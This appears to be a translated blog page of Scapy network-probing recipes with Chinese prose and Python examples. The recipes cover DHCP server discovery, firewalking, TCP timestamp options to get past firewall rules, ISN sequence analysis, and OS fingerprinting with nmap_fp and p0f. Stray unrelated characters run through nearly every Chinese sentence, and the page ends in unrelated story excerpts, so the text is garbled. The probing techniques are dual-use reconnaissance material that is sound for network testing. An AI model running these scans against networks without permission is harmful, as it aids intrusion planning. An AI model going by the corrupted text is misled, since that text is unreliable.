>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

在這種情況下眨层,我們得到了兩個(gè)應(yīng)答,所以測(cè)試網(wǎng)絡(luò)上有兩個(gè)活動(dòng)的DHCP服務(wù)器:

>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

Discussion

我們?cè)O(shè)置multi=True來確保Scapy在接收到第一個(gè)響應(yīng)之后可以等待更多的應(yīng)答數(shù)據(jù)包上荡。這也就是我們?yōu)槭裁床挥酶奖愕?code>dhcp_request()函數(shù)趴樱,而是手動(dòng)地構(gòu)造DCHP數(shù)據(jù)包的原因:dhcp_request()使用srp1()來發(fā)送和接收數(shù)據(jù)包,這樣在接收到一個(gè)應(yīng)答數(shù)據(jù)包之后就會(huì)立即返回酪捡。

此外叁征,Scapy通常確保應(yīng)答來源于之前發(fā)送請(qǐng)求的目的地址。但是我們的DHCP數(shù)據(jù)包被發(fā)送到IP廣播地址(255.255.255.255)逛薇,任何應(yīng)答數(shù)據(jù)包都將回復(fù)DCHP服務(wù)器的IP地址作為其源IP地址(e.g. 192.168.1.1)捺疼。由于這些IP地址不匹配,我們必須在發(fā)送請(qǐng)求前使用conf.checkIPaddr = False來禁用Scapy的check永罚。

See also

http://en.wikipedia.org/wiki/Rogue_DHCP
http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL減一操作過濾后帅涂,只有沒被過濾的數(shù)據(jù)包會(huì)產(chǎn)生一個(gè)ICMP TTL超時(shí)

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

在對(duì)多網(wǎng)卡的防火墻查找子網(wǎng)時(shí),只有它自己的網(wǎng)卡IP可以達(dá)到這個(gè)TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

在比較流行的端口掃描器中尤蛮,一種常見的情況就是沒有設(shè)置TCP時(shí)間戳選項(xiàng)媳友,而許多防火墻都包含一條規(guī)則來丟棄這樣的TCP數(shù)據(jù)包。

Solution

為了讓Scapy能夠到達(dá)其他位置产捞,就必須使用其他選項(xiàng):

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

Problem

你已經(jīng)使用Scapy收集或者嗅探了一些數(shù)據(jù)包醇锚,因?yàn)閃ireshark高級(jí)的數(shù)據(jù)包展示功能,你想使用Wireshark查看這些數(shù)據(jù)包。

Solution

正好可以使用wireshark()函數(shù):

>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()     # first generate some packets
>>> wireshark(packets)                                        # show them with Wireshark

Discussion

wireshark()函數(shù)可以生成一個(gè)臨時(shí)pcap文件焊唬,來包含你的數(shù)據(jù)包恋昼,然后會(huì)在后臺(tái)啟動(dòng)Wireshark,使其在啟動(dòng)時(shí)讀取該文件赶促。

請(qǐng)記住Wireshark是處理第二層的數(shù)據(jù)包(通常被稱為“幀”)液肌。所以我們必須為ICMP數(shù)據(jù)包添加一個(gè)Ether()頭。如果你直接將IP數(shù)據(jù)包(第三層)傳遞給Wireshark鸥滨,你將會(huì)得到一個(gè)奇怪的結(jié)果嗦哆。

你可以通過改變conf.prog.wireshark的配置設(shè)置,來告訴Scapy去哪尋找Wireshark可執(zhí)行文件婿滓。

OS Fingerprinting

ISN

Scapy的可用于分析ISN(初始序列號(hào))遞增來發(fā)現(xiàn)可能有漏洞的系統(tǒng)老速。首先我們將在一個(gè)循環(huán)中發(fā)送SYN探頭,來收集目標(biāo)響應(yīng):

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

一旦我們得到響應(yīng)之后凸主,我們可以像這樣開始分析收集到的數(shù)據(jù):

>>> temp = 0
>>> for s,r in ans:
...    temp = r[TCP].seq - temp
...    print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310

nmap_fp

在Scapy中支持Nmap指紋識(shí)別(是到Nmap v4.20的“第一代”功能)橘券。在Scapy v2中,你首先得加載擴(kuò)展模塊:

>>> load_module("nmap")

如果你已經(jīng)安裝了Nmap卿吐,你可以讓Scapy使用它的主動(dòng)操作系統(tǒng)指紋數(shù)據(jù)庫旁舰。清確保version 1簽名數(shù)據(jù)庫位于指定的路徑:

>>> conf.nmap_base

然后你可以使用namp_fp()函數(shù),該函數(shù)和Nmap操作系統(tǒng)檢測(cè)引擎使用同樣的探針:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

如果你已在操作系統(tǒng)中安裝了p0f嗡官,你可以直接從Scapy中使用它來猜測(cè)操作系統(tǒng)名稱和版本鬓梅。(僅在SYN數(shù)據(jù)庫被使用時(shí))。首先要確保p0f數(shù)據(jù)庫存在于指定的路徑:

>>> conf.p0f_base

例如谨湘,根據(jù)一個(gè)捕獲的數(shù)據(jù)包猜測(cè)操作系統(tǒng):

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市芥丧,隨后出現(xiàn)的幾起案子紧阔,更是在濱河造成了極大的恐慌,老刑警劉巖续担,帶你破解...
    沈念sama閱讀 219,490評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件擅耽,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡物遇,警方通過查閱死者的電腦和手機(jī)乖仇,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,581評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來询兴,“玉大人乃沙,你說我怎么就攤上這事∈ⅲ” “怎么了警儒?”我有些...
    開封第一講書人閱讀 165,830評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我蜀铲,道長(zhǎng)边琉,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,957評(píng)論 1 295
  • 正文 為了忘掉前任记劝,我火速辦了婚禮变姨,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘厌丑。我一直安慰自己定欧,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,974評(píng)論 6 393
  • 文/花漫 我一把揭開白布蹄衷。 她就那樣靜靜地躺著忧额,像睡著了一般。 火紅的嫁衣襯著肌膚如雪愧口。 梳的紋絲不亂的頭發(fā)上睦番,一...
    開封第一講書人閱讀 51,754評(píng)論 1 307
  • 那天,我揣著相機(jī)與錄音耍属,去河邊找鬼托嚣。 笑死,一個(gè)胖子當(dāng)著我的面吹牛厚骗,可吹牛的內(nèi)容都是我干的示启。 我是一名探鬼主播,決...
    沈念sama閱讀 40,464評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼领舰,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼夫嗓!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起冲秽,我...
    開封第一講書人閱讀 39,357評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤舍咖,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后锉桑,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體排霉,經(jīng)...
    沈念sama閱讀 45,847評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,995評(píng)論 3 338
  • 正文 我和宋清朗相戀三年民轴,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了攻柠。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,137評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡后裸,死狀恐怖瑰钮,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情微驶,我是刑警寧澤飞涂,帶...
    沈念sama閱讀 35,819評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響较店,放射性物質(zhì)發(fā)生泄漏士八。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,482評(píng)論 3 331
  • 文/蒙蒙 一梁呈、第九天 我趴在偏房一處隱蔽的房頂上張望婚度。 院中可真熱鬧,春花似錦官卡、人聲如沸蝗茁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,023評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽哮翘。三九已至,卻和暖如春毛秘,著一層夾襖步出監(jiān)牢的瞬間饭寺,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,149評(píng)論 1 272
  • 我被黑心中介騙來泰國打工叫挟, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留艰匙,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,409評(píng)論 3 373
  • 正文 我出身青樓抹恳,卻偏偏與公主長(zhǎng)得像员凝,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子奋献,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,086評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 個(gè)人認(rèn)為健霹,Goodboy1881先生的TCP /IP 協(xié)議詳解學(xué)習(xí)博客系列博客是一部非常精彩的學(xué)習(xí)筆記,這雖然只是...
    貳零壹柒_fc10閱讀 5,055評(píng)論 0 8
  • 介紹 譯者:pdcxs007 來源:Scapy介紹官方文檔翻譯 原文:Introduction 協(xié)議:CC BY-...
    布客飛龍閱讀 7,193評(píng)論 0 13
  • 下載和安裝 譯者:飛龍 原文:Download and Installation 協(xié)議:CC BY-NC-SA 4...
    布客飛龍閱讀 2,579評(píng)論 0 6
  • 五、TCP與UDP 1.傳輸層的作用 TCP/IP中有兩個(gè)具有代表性的傳輸層協(xié)議凌节,它們分別是TCP和UDP钦听。TCP...
    TomyZhang閱讀 662評(píng)論 0 1
  • 協(xié)議基礎(chǔ) 協(xié)議就是計(jì)算機(jī)之間通過網(wǎng)絡(luò)實(shí)現(xiàn)通信時(shí)實(shí)現(xiàn)所達(dá)成的一種“約定”,這種約定使得那些由不同廠商的設(shè)備倍奢,不同的C...
    d9fc24a0c9a9閱讀 2,364評(píng)論 0 6